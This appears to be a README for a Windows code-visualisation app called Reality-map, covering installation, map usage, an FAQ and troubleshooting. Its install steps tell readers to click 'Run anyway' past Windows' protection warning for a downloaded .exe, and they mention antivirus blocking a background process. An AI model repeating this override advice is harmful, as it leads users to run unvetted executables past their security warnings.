Reality-map takes a complex pile of computer code and turns it into a simple, interactive map. When you look at professional software, it often contains thousands of separate files and connections. This makes it hard to see how everything fits together.
This application scans these files and draws a visual diagram. You can see which parts of the code talk to other parts. You can spot code that no longer does anything. You can check the health of your project at a glance. It helps you understand your digital workspace without needing to read every single line of text.
Before you download, check your computer against these simple needs:
- Windows 10 or Windows 11.
- A screen resolution of 1920x1080 or higher works best for viewing maps.
- At least 8 gigabytes of memory.
- Enough space on your hard drive to store the application files.
You do not need to compile code or use a terminal. Follow these steps to get the software running on your computer.
- Visit the official releases page.
- Look for the latest version at the top of the list.
- Click the link that ends in ".exe" to download the installer.
- Open the file once the download completes.
- Follow the prompts on your screen.
- The installer places a shortcut on your desktop.
If Windows shows a protection message, click "More info" and then "Run anyway." This happens because we provide the software directly to you.
After you open reality-map, you start by pointing the software at a folder on your computer.
- Open the application.
- Select "Open Folder" from the menu.
- Choose the folder that contains the code you want to see.
- Wait for the scan to finish. A progress bar shows you how much remains.
- Once complete, your architecture appears on the screen as a series of connected boxes.
The map uses a few simple principles to display information:
- Boxes represent your code modules.
- Lines represent how modules share information.
- Red lines highlight potential trouble spots or broken links.
- Gray boxes indicate code that remains unused, which you might want to remove.
You can click and drag the map to move around. Use your mouse wheel to zoom in and out. If you click on a specific box, the software highlights all the pathways connected to that part of the system. This makes it easy to see what happens when you change a single file.
No. The software only reads your files. It cannot delete, move, or rename your code. It acts like a camera taking a picture of your files. You stay in control of your work at all times.
Yes. The software handles large projects with ease. If the map feels crowded, use the filter menu to hide specific types of files. You can narrow your view to only see the most important parts of your architecture.
Complexity is normal in software. Use the "Layout" button to change how the application organizes the boxes. Some layouts focus on clusters, while others arrange files in straight lines. Try different options until the view makes sense to you.
The software performs a deep analysis of every file to ensure the map is accurate. It looks at internal dependencies and structure. Large projects with thousands of files require more time for this initial analysis. Future scans on the same project are faster.
Reality-map works locally on your machine. We do not upload your code to a web server. Your files stay on your computer. We do not track what you look at or how your code is structured. The application functions without an internet connection once you have it installed. This keeps your intellectual property private and secure.
If the application fails to open or stops during a scan, try these steps:
- Ensure you moved the downloaded file into a folder where you have read and write permissions.
- Check if your antivirus software blocked the background process.
- Close other demanding programs while running the first analysis on a large codebase.
- Restart the application if the layout fails to load after a long wait.
If you encounter persistent issues, check the releases page again for newer versions that might include performance fixes. We update the tool to match modern coding standards and improve your experience.